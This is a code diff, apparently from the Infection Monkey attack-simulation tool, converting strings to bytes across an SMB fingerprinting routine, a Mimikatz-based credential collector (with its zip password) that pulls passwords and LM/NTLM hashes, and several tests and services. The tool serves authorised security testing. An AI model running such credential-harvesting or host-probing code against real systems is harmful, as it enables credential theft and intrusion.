("bcc1", ""),
|
("bcc1", ""),
|
||||||
("Data",
|
("Data",
|
||||||
"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||||
|
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
self.fields["bcc1"] = struct.pack("<i", len(self.fields["Data"]))[:2]
|
||||||
|
|
||||||
|
|
||||||
class SMBFinger(HostFinger):
|
class SMBFinger(HostFinger):
|
||||||
|
@ -116,30 +117,30 @@ class SMBFinger(HostFinger):
|
||||||
|
|
||||||
self.init_service(host.services, SMB_SERVICE, SMB_PORT)
|
self.init_service(host.services, SMB_SERVICE, SMB_PORT)
|
||||||
|
|
||||||
h = SMBHeader(cmd="\x72", flag1="\x18", flag2="\x53\xc8")
|
h = SMBHeader(cmd=b"\x72", flag1=b"\x18", flag2=b"\x53\xc8")
|
||||||
n = SMBNego(data=SMBNegoFingerData())
|
n = SMBNego(data=SMBNegoFingerData())
|
||||||
n.calculate()
|
n.calculate()
|
||||||
|
|
||||||
packet_ = str(h) + str(n)
|
packet_ = h.to_byte_string() + n.to_byte_string()
|
||||||
buffer = struct.pack(">i", len(packet_)) + packet_.encode()
|
buffer = struct.pack(">i", len(packet_)) + packet_
|
||||||
s.send(buffer)
|
s.send(buffer)
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
|
|
||||||
if data[8:10] == "\x72\x00":
|
if data[8:10] == b"\x72\x00":
|
||||||
header = SMBHeader(cmd="\x73", flag1="\x18", flag2="\x17\xc8", uid="\x00\x00")
|
header = SMBHeader(cmd=b"\x73", flag1=b"\x18", flag2=b"\x17\xc8", uid=b"\x00\x00")
|
||||||
body = SMBSessionFingerData()
|
body = SMBSessionFingerData()
|
||||||
body.calculate()
|
body.calculate()
|
||||||
|
|
||||||
packet_ = str(header) + str(body)
|
packet_ = header.to_byte_string() + body.to_byte_string()
|
||||||
buffer = struct.pack(">i", len(packet_)) + packet_.encode()
|
buffer = struct.pack(">i", len(packet_)) + packet_
|
||||||
|
|
||||||
s.send(buffer)
|
s.send(buffer)
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
|
|
||||||
if data[8:10] == "\x73\x16":
|
if data[8:10] == b"\x73\x16":
|
||||||
length = struct.unpack('<H', data[43:45])[0]
|
length = struct.unpack('<H', data[43:45])[0]
|
||||||
os_version, service_client = tuple(
|
os_version, service_client = tuple(
|
||||||
[e.replace(b'\x00', b'') for e in data[47 + length:].split(b'\x00\x00\x00')[:2]])
|
[e.replace(b'\x00', b'').decode() for e in data[47 + length:].split(b'\x00\x00\x00')[:2]])
|
||||||
|
|
||||||
if os_version.lower() != 'unix':
|
if os_version.lower() != 'unix':
|
||||||
host.os['type'] = 'windows'
|
host.os['type'] = 'windows'
|
||||||
|
|
|
@ -27,7 +27,7 @@ class MimikatzCollector(object):
|
||||||
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
||||||
|
|
||||||
# Password to Mimikatz zip file
|
# Password to Mimikatz zip file
|
||||||
MIMIKATZ_ZIP_PASSWORD = r'VTQpsJPXgZuXhX6x3V84G'
|
MIMIKATZ_ZIP_PASSWORD = b'VTQpsJPXgZuXhX6x3V84G'
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._config = infection_monkey.config.WormConfiguration
|
self._config = infection_monkey.config.WormConfiguration
|
||||||
|
@ -78,11 +78,11 @@ class MimikatzCollector(object):
|
||||||
|
|
||||||
for i in range(entry_count):
|
for i in range(entry_count):
|
||||||
entry = self._get()
|
entry = self._get()
|
||||||
username = entry.username.encode('utf-8').strip()
|
username = entry.username
|
||||||
|
|
||||||
password = entry.password.encode('utf-8').strip()
|
password = entry.password
|
||||||
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
|
lm_hash = binascii.hexlify(bytearray(entry.lm_hash)).decode()
|
||||||
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
|
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash)).decode()
|
||||||
|
|
||||||
if 0 == len(password):
|
if 0 == len(password):
|
||||||
has_password = False
|
has_password = False
|
||||||
|
|
|
@ -1,11 +1,15 @@
|
||||||
import uuid
|
import uuid
|
||||||
|
import logging
|
||||||
from time import sleep
|
from time import sleep
|
||||||
|
|
||||||
from .monkey import Monkey
|
import pytest
|
||||||
from monkey_island.cc.models.monkey import MonkeyNotFoundError
|
|
||||||
|
from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError
|
||||||
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
||||||
from .monkey_ttl import MonkeyTtl
|
from .monkey_ttl import MonkeyTtl
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class TestMonkey(IslandTestCase):
|
class TestMonkey(IslandTestCase):
|
||||||
"""
|
"""
|
||||||
|
@ -32,7 +36,7 @@ class TestMonkey(IslandTestCase):
|
||||||
# MIA stands for Missing In Action
|
# MIA stands for Missing In Action
|
||||||
mia_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30)
|
mia_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30)
|
||||||
mia_monkey_ttl.save()
|
mia_monkey_ttl.save()
|
||||||
mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl)
|
mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl.id)
|
||||||
mia_monkey.save()
|
mia_monkey.save()
|
||||||
# Emulate timeout - ttl is manually deleted here, since we're using mongomock and not a real mongo instance.
|
# Emulate timeout - ttl is manually deleted here, since we're using mongomock and not a real mongo instance.
|
||||||
sleep(1)
|
sleep(1)
|
||||||
|
@ -70,8 +74,10 @@ class TestMonkey(IslandTestCase):
|
||||||
# Act + assert
|
# Act + assert
|
||||||
# Find the existing one
|
# Find the existing one
|
||||||
self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id))
|
self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id))
|
||||||
|
|
||||||
# Raise on non-existent monkey
|
# Raise on non-existent monkey
|
||||||
self.assertRaises(MonkeyNotFoundError, Monkey.get_single_monkey_by_id, "abcdefabcdefabcdefabcdef")
|
with pytest.raises(MonkeyNotFoundError) as e_info:
|
||||||
|
_ = Monkey.get_single_monkey_by_id("abcdefabcdefabcdefabcdef")
|
||||||
|
|
||||||
def test_get_os(self):
|
def test_get_os(self):
|
||||||
self.fail_if_not_testing_env()
|
self.fail_if_not_testing_env()
|
||||||
|
@ -125,29 +131,41 @@ class TestMonkey(IslandTestCase):
|
||||||
ip_addresses=[ip_example])
|
ip_addresses=[ip_example])
|
||||||
linux_monkey.save()
|
linux_monkey.save()
|
||||||
|
|
||||||
|
logger.debug(id(Monkey.get_label_by_id))
|
||||||
|
|
||||||
cache_info_before_query = Monkey.get_label_by_id.storage.backend.cache_info()
|
cache_info_before_query = Monkey.get_label_by_id.storage.backend.cache_info()
|
||||||
self.assertEqual(cache_info_before_query.hits, 0)
|
self.assertEqual(cache_info_before_query.hits, 0)
|
||||||
|
self.assertEqual(cache_info_before_query.misses, 0)
|
||||||
|
|
||||||
# not cached
|
# not cached
|
||||||
label = Monkey.get_label_by_id(linux_monkey.id)
|
label = Monkey.get_label_by_id(linux_monkey.id)
|
||||||
|
cache_info_after_query_1 = Monkey.get_label_by_id.storage.backend.cache_info()
|
||||||
|
self.assertEqual(cache_info_after_query_1.hits, 0)
|
||||||
|
self.assertEqual(cache_info_after_query_1.misses, 1)
|
||||||
|
logger.info("1) ID: {} label: {}".format(linux_monkey.id, label))
|
||||||
|
|
||||||
self.assertIsNotNone(label)
|
self.assertIsNotNone(label)
|
||||||
self.assertIn(hostname_example, label)
|
self.assertIn(hostname_example, label)
|
||||||
self.assertIn(ip_example, label)
|
self.assertIn(ip_example, label)
|
||||||
|
|
||||||
# should be cached
|
# should be cached
|
||||||
_ = Monkey.get_label_by_id(linux_monkey.id)
|
label = Monkey.get_label_by_id(linux_monkey.id)
|
||||||
cache_info_after_query = Monkey.get_label_by_id.storage.backend.cache_info()
|
logger.info("2) ID: {} label: {}".format(linux_monkey.id, label))
|
||||||
self.assertEqual(cache_info_after_query.hits, 1)
|
cache_info_after_query_2 = Monkey.get_label_by_id.storage.backend.cache_info()
|
||||||
|
self.assertEqual(cache_info_after_query_2.hits, 1)
|
||||||
|
self.assertEqual(cache_info_after_query_2.misses, 1)
|
||||||
|
|
||||||
|
# set hostname deletes the id from the cache.
|
||||||
linux_monkey.set_hostname("Another hostname")
|
linux_monkey.set_hostname("Another hostname")
|
||||||
|
|
||||||
# should be a miss
|
# should be a miss
|
||||||
label = Monkey.get_label_by_id(linux_monkey.id)
|
label = Monkey.get_label_by_id(linux_monkey.id)
|
||||||
cache_info_after_second_query = Monkey.get_label_by_id.storage.backend.cache_info()
|
logger.info("3) ID: {} label: {}".format(linux_monkey.id, label))
|
||||||
|
cache_info_after_query_3 = Monkey.get_label_by_id.storage.backend.cache_info()
|
||||||
|
logger.debug("Cache info: {}".format(str(cache_info_after_query_3)))
|
||||||
# still 1 hit only
|
# still 1 hit only
|
||||||
self.assertEqual(cache_info_after_second_query.hits, 1)
|
self.assertEqual(cache_info_after_query_3.hits, 1)
|
||||||
self.assertEqual(cache_info_after_second_query.misses, 2)
|
self.assertEqual(cache_info_after_query_3.misses, 2)
|
||||||
|
|
||||||
def test_is_monkey(self):
|
def test_is_monkey(self):
|
||||||
self.fail_if_not_testing_env()
|
self.fail_if_not_testing_env()
|
||||||
|
|
|
@ -15,4 +15,4 @@ class LogTest(flask_restful.Resource):
|
||||||
if not log:
|
if not log:
|
||||||
return {'results': None}
|
return {'results': None}
|
||||||
log_file = database.gridfs.get(log['file_id'])
|
log_file = database.gridfs.get(log['file_id'])
|
||||||
return {'results': log_file.read()}
|
return {'results': log_file.read().decode()}
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
{
|
{
|
||||||
"server_config": "standard",
|
"server_config": "standard",
|
||||||
"deployment": "develop"
|
"deployment": "develop"
|
||||||
}
|
}
|
||||||
|
|
|
@ -20,7 +20,7 @@ class LogService:
|
||||||
return \
|
return \
|
||||||
{
|
{
|
||||||
'monkey_label': monkey_label,
|
'monkey_label': monkey_label,
|
||||||
'log': log_file.read(),
|
'log': log_file.read().decode(),
|
||||||
'timestamp': log['timestamp']
|
'timestamp': log['timestamp']
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -107,10 +107,10 @@ class AWSExporter(Exporter):
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
except UnknownServiceError as e:
|
except UnknownServiceError as e:
|
||||||
logger.warning('AWS exporter called but AWS-CLI securityhub service is not installed. Error: ' + e)
|
logger.warning('AWS exporter called but AWS-CLI security hub service is not installed. Error: {}'.format(e))
|
||||||
return False
|
return False
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.exception('AWS security hub findings failed to send. Error: ' + e)
|
logger.exception('AWS security hub findings failed to send. Error: {}'.format(e))
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|
|
@ -1,9 +1,151 @@
|
||||||
from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService
|
|
||||||
|
|
||||||
from common.data.zero_trust_consts import *
|
from common.data.zero_trust_consts import *
|
||||||
from monkey_island.cc.models.zero_trust.finding import Finding
|
from monkey_island.cc.models.zero_trust.finding import Finding
|
||||||
|
from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService
|
||||||
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
||||||
|
|
||||||
|
EXPECTED_DICT = {
|
||||||
|
AUTOMATION_ORCHESTRATION: [],
|
||||||
|
DATA: [
|
||||||
|
{
|
||||||
|
"principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT],
|
||||||
|
"status": STATUS_FAILED,
|
||||||
|
"tests": [
|
||||||
|
{
|
||||||
|
"status": STATUS_FAILED,
|
||||||
|
"test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY]
|
||||||
|
},
|
||||||
|
]
|
||||||
|
}
|
||||||
|
],
|
||||||
|
DEVICES: [
|
||||||
|
{
|
||||||
|
"principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY],
|
||||||
|
"status": STATUS_FAILED,
|
||||||
|
"tests": [
|
||||||
|
{
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"status": STATUS_FAILED,
|
||||||
|
"test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY]
|
||||||
|
},
|
||||||
|
]
|
||||||
|
}
|
||||||
|
],
|
||||||
|
NETWORKS: [
|
||||||
|
{
|
||||||
|
"principle": PRINCIPLES[PRINCIPLE_SEGMENTATION],
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"tests": [
|
||||||
|
{
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"test": TESTS_MAP[TEST_SEGMENTATION][TEST_EXPLANATION_KEY]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
|
||||||
|
"status": STATUS_VERIFY,
|
||||||
|
"tests": [
|
||||||
|
{
|
||||||
|
"status": STATUS_VERIFY,
|
||||||
|
"test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"tests": [
|
||||||
|
{
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"tests": [
|
||||||
|
{
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"tests": [
|
||||||
|
{
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
],
|
||||||
|
PEOPLE: [
|
||||||
|
{
|
||||||
|
"principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
|
||||||
|
"status": STATUS_VERIFY,
|
||||||
|
"tests": [
|
||||||
|
{
|
||||||
|
"status": STATUS_VERIFY,
|
||||||
|
"test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"tests": [
|
||||||
|
{
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
],
|
||||||
|
VISIBILITY_ANALYTICS: [
|
||||||
|
{
|
||||||
|
"principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"tests": [
|
||||||
|
{
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"tests": [
|
||||||
|
{
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"tests": [
|
||||||
|
{
|
||||||
|
"status": STATUS_UNEXECUTED,
|
||||||
|
"test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
],
|
||||||
|
WORKLOADS: []
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
def save_example_findings():
|
def save_example_findings():
|
||||||
# arrange
|
# arrange
|
||||||
|
@ -106,151 +248,24 @@ class TestZeroTrustService(IslandTestCase):
|
||||||
|
|
||||||
save_example_findings()
|
save_example_findings()
|
||||||
|
|
||||||
expected = {
|
expected = dict(EXPECTED_DICT) # new mutable
|
||||||
AUTOMATION_ORCHESTRATION: [],
|
|
||||||
DATA: [
|
|
||||||
{
|
|
||||||
"principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT],
|
|
||||||
"status": STATUS_FAILED,
|
|
||||||
"tests": [
|
|
||||||
{
|
|
||||||
"status": STATUS_FAILED,
|
|
||||||
"test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY]
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY]
|
|
||||||
},
|
|
||||||
]
|
|
||||||
}
|
|
||||||
],
|
|
||||||
DEVICES: [
|
|
||||||
{
|
|
||||||
"principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY],
|
|
||||||
"status": STATUS_FAILED,
|
|
||||||
"tests": [
|
|
||||||
{
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY]
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"status": STATUS_FAILED,
|
|
||||||
"test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY]
|
|
||||||
},
|
|
||||||
]
|
|
||||||
}
|
|
||||||
],
|
|
||||||
NETWORKS: [
|
|
||||||
{
|
|
||||||
"principle": PRINCIPLES[PRINCIPLE_SEGMENTATION],
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"tests": [
|
|
||||||
{
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"test": TESTS_MAP[TEST_SEGMENTATION][TEST_EXPLANATION_KEY]
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
|
|
||||||
"status": STATUS_VERIFY,
|
|
||||||
"tests": [
|
|
||||||
{
|
|
||||||
"status": STATUS_VERIFY,
|
|
||||||
"test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"tests": [
|
|
||||||
{
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"tests": [
|
|
||||||
{
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"tests": [
|
|
||||||
{
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
],
|
|
||||||
PEOPLE: [
|
|
||||||
{
|
|
||||||
"principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR],
|
|
||||||
"status": STATUS_VERIFY,
|
|
||||||
"tests": [
|
|
||||||
{
|
|
||||||
"status": STATUS_VERIFY,
|
|
||||||
"test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY]
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"tests": [
|
|
||||||
{
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
],
|
|
||||||
VISIBILITY_ANALYTICS: [
|
|
||||||
{
|
|
||||||
"principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES],
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"tests": [
|
|
||||||
{
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY]
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC],
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"tests": [
|
|
||||||
{
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY]
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES],
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"tests": [
|
|
||||||
{
|
|
||||||
"status": STATUS_UNEXECUTED,
|
|
||||||
"test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY]
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
],
|
|
||||||
WORKLOADS: []
|
|
||||||
}
|
|
||||||
|
|
||||||
result = ZeroTrustService.get_principles_status()
|
result = ZeroTrustService.get_principles_status()
|
||||||
self.assertEqual(result, expected)
|
# Compare expected and result, no order:
|
||||||
|
for pillar_name, pillar_principles_status_result in result.items():
|
||||||
|
for index, pillar_principle_status_expected in enumerate(expected.get(pillar_name)):
|
||||||
|
correct_one = None
|
||||||
|
for pillar_principle_status_result in pillar_principles_status_result:
|
||||||
|
if pillar_principle_status_result["principle"] == pillar_principle_status_expected["principle"]:
|
||||||
|
correct_one = pillar_principle_status_result
|
||||||
|
break
|
||||||
|
|
||||||
|
# Compare tests no order
|
||||||
|
self.assertTrue(compare_lists_no_order(correct_one["tests"], pillar_principle_status_expected["tests"]))
|
||||||
|
# Compare the rest
|
||||||
|
del pillar_principle_status_expected["tests"]
|
||||||
|
del correct_one["tests"]
|
||||||
|
self.assertEqual(sorted(correct_one), sorted(pillar_principle_status_expected))
|
||||||
|
|
||||||
def test_get_pillars_to_statuses(self):
|
def test_get_pillars_to_statuses(self):
|
||||||
self.fail_if_not_testing_env()
|
self.fail_if_not_testing_env()
|
||||||
|
@ -283,3 +298,13 @@ class TestZeroTrustService(IslandTestCase):
|
||||||
}
|
}
|
||||||
|
|
||||||
self.assertEqual(ZeroTrustService.get_pillars_to_statuses(), expected)
|
self.assertEqual(ZeroTrustService.get_pillars_to_statuses(), expected)
|
||||||
|
|
||||||
|
|
||||||
|
def compare_lists_no_order(s, t):
|
||||||
|
t = list(t) # make a mutable copy
|
||||||
|
try:
|
||||||
|
for elem in s:
|
||||||
|
t.remove(elem)
|
||||||
|
except ValueError:
|
||||||
|
return False
|
||||||
|
return not t
|
||||||
|
|
|
@ -0,0 +1,46 @@
|
||||||
|
import argparse
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
SERVER_CONFIG = "server_config"
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
logger.addHandler(logging.StreamHandler())
|
||||||
|
logger.setLevel(logging.DEBUG)
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
args = parse_args()
|
||||||
|
file_path = get_config_file_path(args)
|
||||||
|
|
||||||
|
# Read config
|
||||||
|
with open(file_path) as config_file:
|
||||||
|
config_data = json.load(config_file)
|
||||||
|
|
||||||
|
# Edit the config
|
||||||
|
config_data[SERVER_CONFIG] = args.server_config
|
||||||
|
|
||||||
|
# Write new config
|
||||||
|
logger.info("Writing the following config: {}".format(json.dumps(config_data, indent=4)))
|
||||||
|
with open(file_path, "w") as config_file:
|
||||||
|
json.dump(config_data, config_file, indent=4)
|
||||||
|
config_file.write("\n") # Have to add newline at end of file, since json.dump does not.
|
||||||
|
|
||||||
|
|
||||||
|
def get_config_file_path(args):
|
||||||
|
file_path = Path(__file__).parent.joinpath(args.file_name)
|
||||||
|
logger.info("Config file path: {}".format(file_path))
|
||||||
|
return file_path
|
||||||
|
|
||||||
|
|
||||||
|
def parse_args():
|
||||||
|
parser = argparse.ArgumentParser()
|
||||||
|
parser.add_argument("server_config", choices=["standard", "testing", "password"])
|
||||||
|
parser.add_argument("-f", "--file_name", required=False, default="server_config.json")
|
||||||
|
args = parser.parse_args()
|
